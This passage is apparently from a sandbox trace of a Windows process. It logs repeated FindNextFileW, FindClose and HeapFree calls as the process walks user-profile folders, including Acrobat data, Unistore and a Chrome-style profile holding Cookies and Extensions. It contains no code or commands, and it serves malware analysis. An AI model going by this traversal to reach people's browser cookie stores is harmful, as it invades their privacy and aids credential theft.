nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Local", cAlternateFileName="")) returned 0 [0284.810] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0284.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.810] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0284.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.811] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0284.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.811] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0284.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.811] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0284.811] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0284.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0284.812] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0284.812] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0284.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0284.812] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0284.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.816] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0284.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0284.861] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0284.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0284.862] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0284.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.862] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0284.862] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0284.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.862] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0284.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.864] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 1 [0284.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.864] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 0 [0284.865] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0284.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.865] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Acrobat", cAlternateFileName="")) returned 0 [0284.865] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0284.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.865] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0284.865] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0284.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0284.865] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Color", cAlternateFileName="")) returned 1 [0284.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.870] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0284.870] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0284.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0284.871] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Color", cAlternateFileName="")) returned 0 [0284.871] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0284.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.871] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0284.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.871] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CEF", cAlternateFileName="")) returned 1 [0284.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.876] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0284.876] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0284.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.877] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0284.877] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0284.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.877] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0284.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.932] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Unistore", cAlternateFileName="")) returned 1 [0284.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.933] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 0 [0284.933] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0284.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.934] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0285.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0285.127] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0285.127] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0285.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0285.127] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0285.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0285.128] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0285.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0285.142] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0285.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0285.143] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0285.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0285.143] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe6ef52bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe6f1b526, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0285.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0285.242] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa98218f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0285.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0285.293] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~2")) returned 1 [0285.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0285.386] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~3")) returned 1 [0285.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0285.447] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0285.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0285.448] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0285.448] HeapFree (in: 